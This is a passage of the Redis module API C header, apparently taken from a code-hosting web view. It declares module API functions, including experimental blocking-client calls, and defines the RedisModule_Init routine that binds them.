int REDISMODULE_API_FUNC(RedisModule_ZsetRem)(RedisModuleKey *key, RedisModuleString *ele, int *deleted);
|
||||
void REDISMODULE_API_FUNC(RedisModule_ZsetRangeStop)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ZsetRangeCurrentElement)(RedisModuleKey *key, double *score);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeNext)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetRangePrev)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeEndReached)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_HashSet)(RedisModuleKey *key, int flags, ...);
|
||||
int REDISMODULE_API_FUNC(RedisModule_HashGet)(RedisModuleKey *key, int flags, ...);
|
||||
int REDISMODULE_API_FUNC(RedisModule_IsKeysPositionRequest)(RedisModuleCtx *ctx);
|
||||
void REDISMODULE_API_FUNC(RedisModule_KeyAtPos)(RedisModuleCtx *ctx, int pos);
|
||||
unsigned long long REDISMODULE_API_FUNC(RedisModule_GetClientId)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_GetContextFlags)(RedisModuleCtx *ctx);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_PoolAlloc)(RedisModuleCtx *ctx, size_t bytes);
|
||||
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_CreateDataType)(RedisModuleCtx *ctx, const char *name, int encver, RedisModuleTypeMethods *typemethods);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ModuleTypeSetValue)(RedisModuleKey *key, RedisModuleType *mt, void *value);
|
||||
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetType)(RedisModuleKey *key);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetValue)(RedisModuleKey *key);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveUnsigned)(RedisModuleIO *io, uint64_t value);
|
||||
uint64_t REDISMODULE_API_FUNC(RedisModule_LoadUnsigned)(RedisModuleIO *io);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveSigned)(RedisModuleIO *io, int64_t value);
|
||||
int64_t REDISMODULE_API_FUNC(RedisModule_LoadSigned)(RedisModuleIO *io);
|
||||
void REDISMODULE_API_FUNC(RedisModule_EmitAOF)(RedisModuleIO *io, const char *cmdname, const char *fmt, ...);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveString)(RedisModuleIO *io, RedisModuleString *s);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveStringBuffer)(RedisModuleIO *io, const char *str, size_t len);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_LoadString)(RedisModuleIO *io);
|
||||
char *REDISMODULE_API_FUNC(RedisModule_LoadStringBuffer)(RedisModuleIO *io, size_t *lenptr);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveDouble)(RedisModuleIO *io, double value);
|
||||
double REDISMODULE_API_FUNC(RedisModule_LoadDouble)(RedisModuleIO *io);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveFloat)(RedisModuleIO *io, float value);
|
||||
float REDISMODULE_API_FUNC(RedisModule_LoadFloat)(RedisModuleIO *io);
|
||||
void REDISMODULE_API_FUNC(RedisModule_Log)(RedisModuleCtx *ctx, const char *level, const char *fmt, ...);
|
||||
void REDISMODULE_API_FUNC(RedisModule_LogIOError)(RedisModuleIO *io, const char *levelstr, const char *fmt, ...);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringAppendBuffer)(RedisModuleCtx *ctx, RedisModuleString *str, const char *buf, size_t len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_RetainString)(RedisModuleCtx *ctx, RedisModuleString *str);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringCompare)(RedisModuleString *a, RedisModuleString *b);
|
||||
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetContextFromIO)(RedisModuleIO *io);
|
||||
long long REDISMODULE_API_FUNC(RedisModule_Milliseconds)(void);
|
||||
void REDISMODULE_API_FUNC(RedisModule_DigestAddStringBuffer)(RedisModuleDigest *md, unsigned char *ele, size_t len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_DigestAddLongLong)(RedisModuleDigest *md, long long ele);
|
||||
void REDISMODULE_API_FUNC(RedisModule_DigestEndSequence)(RedisModuleDigest *md);
|
||||
|
||||
/* Experimental APIs */
|
||||
#ifdef REDISMODULE_EXPERIMENTAL_API
|
||||
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_BlockClient)(RedisModuleCtx *ctx, RedisModuleCmdFunc reply_callback, RedisModuleCmdFunc timeout_callback, void (*free_privdata)(void*), long long timeout_ms);
|
||||
int REDISMODULE_API_FUNC(RedisModule_UnblockClient)(RedisModuleBlockedClient *bc, void *privdata);
|
||||
int REDISMODULE_API_FUNC(RedisModule_IsBlockedReplyRequest)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_IsBlockedTimeoutRequest)(RedisModuleCtx *ctx);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientPrivateData)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_AbortBlock)(RedisModuleBlockedClient *bc);
|
||||
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetThreadSafeContext)(RedisModuleBlockedClient *bc);
|
||||
void REDISMODULE_API_FUNC(RedisModule_FreeThreadSafeContext)(RedisModuleCtx *ctx);
|
||||
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextLock)(RedisModuleCtx *ctx);
|
||||
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextUnlock)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_SubscribeToKeyspaceEvents)(RedisModuleCtx *ctx, int types, RedisModuleNotificationFunc cb);
|
||||
|
||||
#endif
|
||||
|
||||
/* This is included inline inside each Redis module. */
|
||||
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) __attribute__((unused));
|
||||
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) {
|
||||
void *getapifuncptr = ((void**)ctx)[0];
|
||||
RedisModule_GetApi = (int (*)(const char *, void *)) (unsigned long)getapifuncptr;
|
||||
REDISMODULE_GET_API(Alloc);
|
||||
REDISMODULE_GET_API(Calloc);
|
||||
REDISMODULE_GET_API(Free);
|
||||
REDISMODULE_GET_API(Realloc);
|
||||
REDISMODULE_GET_API(Strdup);
|
||||
REDISMODULE_GET_API(CreateCommand);
|
||||
REDISMODULE_GET_API(SetModuleAttribs);
|
||||
REDISMODULE_GET_API(IsModuleNameBusy);
|
||||
REDISMODULE_GET_API(WrongArity);
|
||||
REDISMODULE_GET_API(ReplyWithLongLong);
|
||||
REDISMODULE_GET_API(ReplyWithError);
|
||||
REDISMODULE_GET_API(ReplyWithSimpleString);
|
||||
REDISMODULE_GET_API(ReplyWithArray);
|
||||
REDISMODULE_GET_API(ReplySetArrayLength);
|
||||
REDISMODULE_GET_API(ReplyWithStringBuffer);
|
||||
REDISMODULE_GET_API(ReplyWithString);
|
||||
REDISMODULE_GET_API(ReplyWithNull);
|
||||
REDISMODULE_GET_API(ReplyWithCallReply);
|
||||
REDISMODULE_GET_API(ReplyWithDouble);
|
||||
REDISMODULE_GET_API(ReplySetArrayLength);
|
||||
REDISMODULE_GET_API(GetSelectedDb);
|
||||
REDISMODULE_GET_API(SelectDb);
|
||||
REDISMODULE_GET_API(OpenKey);
|
||||
REDISMODULE_GET_API(CloseKey);
|
||||
REDISMODULE_GET_API(KeyType);
|
||||
REDISMODULE_GET_API(ValueLength);
|
||||
REDISMODULE_GET_API(ListPush);
|
||||
REDISMODULE_GET_API(ListPop);
|
||||
REDISMODULE_GET_API(StringToLongLong);
|
||||
REDISMODULE_GET_API(StringToDouble);
|
||||
REDISMODULE_GET_API(Call);
|
||||
REDISMODULE_GET_API(CallReplyProto);
|
||||
REDISMODULE_GET_API(FreeCallReply);
|
||||
REDISMODULE_GET_API(CallReplyInteger);
|
||||
REDISMODULE_GET_API(CallReplyType);
|
||||
REDISMODULE_GET_API(CallReplyLength);
|
||||
REDISMODULE_GET_API(CallReplyArrayElement);
|
||||
REDISMODULE_GET_API(CallReplyStringPtr);
|
||||
REDISMODULE_GET_API(CreateStringFromCallReply);
|
||||
REDISMODULE_GET_API(CreateString);
|
||||
REDISMODULE_GET_API(CreateStringFromLongLong);
|
||||
REDISMODULE_GET_API(CreateStringFromString);
|
||||
REDISMODULE_GET_API(CreateStringPrintf);
|
||||
REDISMODULE_GET_API(FreeString);
|
||||
REDISMODULE_GET_API(StringPtrLen);
|
||||
REDISMODULE_GET_API(AutoMemory);
|
||||
REDISMODULE_GET_API(Replicate);
|
||||
REDISMODULE_GET_API(ReplicateVerbatim);
|
||||
REDISMODULE_GET_API(DeleteKey);
|
||||
REDISMODULE_GET_API(UnlinkKey);
|
||||
REDISMODULE_GET_API(StringSet);
|
||||
REDISMODULE_GET_API(StringDMA);
|
||||
REDISMODULE_GET_API(StringTruncate);
|
||||
REDISMODULE_GET_API(GetExpire);
|
||||
REDISMODULE_GET_API(SetExpire);
|
||||
REDISMODULE_GET_API(ZsetAdd);
|
||||
REDISMODULE_GET_API(ZsetIncrby);
|
||||
REDISMODULE_GET_API(ZsetScore);
|
||||
REDISMODULE_GET_API(ZsetRem);
|
||||
REDISMODULE_GET_API(ZsetRangeStop);
|
||||
REDISMODULE_GET_API(ZsetFirstInScoreRange);
|
||||
REDISMODULE_GET_API(ZsetLastInScoreRange);
|
||||
REDISMODULE_GET_API(ZsetFirstInLexRange);
|
||||
REDISMODULE_GET_API(ZsetLastInLexRange);
|
||||
REDISMODULE_GET_API(ZsetRangeCurrentElement);
|
||||
REDISMODULE_GET_API(ZsetRangeNext);
|
||||
REDISMODULE_GET_API(ZsetRangePrev);
|
||||
REDISMODULE_GET_API(ZsetRangeEndReached);
|
||||
REDISMODULE_GET_API(HashSet);
|
||||
REDISMODULE_GET_API(HashGet);
|
||||
REDISMODULE_GET_API(IsKeysPositionRequest);
|
||||
REDISMODULE_GET_API(KeyAtPos);
|
||||
REDISMODULE_GET_API(GetClientId);
|
||||
REDISMODULE_GET_API(GetContextFlags);
|
||||
REDISMODULE_GET_API(PoolAlloc);
|
||||
REDISMODULE_GET_API(CreateDataType);
|
||||
REDISMODULE_GET_API(ModuleTypeSetValue);
|
||||
REDISMODULE_GET_API(ModuleTypeGetType);
|
||||
REDISMODULE_GET_API(ModuleTypeGetValue);
|
||||
REDISMODULE_GET_API(SaveUnsigned);
|
||||
REDISMODULE_GET_API(LoadUnsigned);
|
||||
REDISMODULE_GET_API(SaveSigned);
|
||||
REDISMODULE_GET_API(LoadSigned);
|
||||
REDISMODULE_GET_API(SaveString);
|
||||
REDISMODULE_GET_API(SaveStringBuffer);
|
||||
REDISMODULE_GET_API(LoadString);
|
||||
REDISMODULE_GET_API(LoadStringBuffer);
|
||||
REDISMODULE_GET_API(SaveDouble);
|
||||
REDISMODULE_GET_API(LoadDouble);
|
||||
REDISMODULE_GET_API(SaveFloat);
|
||||
REDISMODULE_GET_API(LoadFloat);
|
||||
REDISMODULE_GET_API(EmitAOF);
|
||||
REDISMODULE_GET_API(Log);
|
||||
REDISMODULE_GET_API(LogIOError);
|
||||
REDISMODULE_GET_API(StringAppendBuffer);
|
||||
REDISMODULE_GET_API(RetainString);
|
||||
REDISMODULE_GET_API(StringCompare);
|
||||
REDISMODULE_GET_API(GetContextFromIO);
|
||||
REDISMODULE_GET_API(Milliseconds);
|
||||
REDISMODULE_GET_API(DigestAddStringBuffer);
|
||||
REDISMODULE_GET_API(DigestAddLongLong);
|
||||
REDISMODULE_GET_API(DigestEndSequence);
|
||||
|
||||
#ifdef REDISMODULE_EXPERIMENTAL_API
|
||||
REDISMODULE_GET_API(GetThreadSafeContext);
|
||||
REDISMODULE_GET_API(FreeThreadSafeContext);
|
||||
REDISMODULE_GET_API(ThreadSafeContextLock);
|
||||
REDISMODULE_GET_API(ThreadSafeContextUnlock);
|
||||
REDISMODULE_GET_API(BlockClient);
|
||||
REDISMODULE_GET_API(UnblockClient);
|
||||
REDISMODULE_GET_API(IsBlockedReplyRequest);
|
||||
REDISMODULE_GET_API(IsBlockedTimeoutRequest);
|
||||
REDISMODULE_GET_API(GetBlockedClientPrivateData);
|
||||
REDISMODULE_GET_API(AbortBlock);
|
||||
REDISMODULE_GET_API(SubscribeToKeyspaceEvents);
|
||||
|
||||
#endif
|
||||
|
||||
if (RedisModule_IsModuleNameBusy && RedisModule_IsModuleNameBusy(name)) return REDISMODULE_ERR;
|
||||
RedisModule_SetModuleAttribs(ctx,name,ver,apiver);
|
||||
return REDISMODULE_OK;
|
||||
}
|
||||
|
||||
#else
|
||||
|
||||
/* Things only defined for the modules core, not exported to modules
|
||||
* including this file. */
|
||||
#define RedisModuleString robj
|
||||
|
||||
#endif /* REDISMODULE_CORE */
|
||||
#endif /* REDISMOUDLE_H */
|
||||
Loading…
Add table
Add a link
Reference in a new issue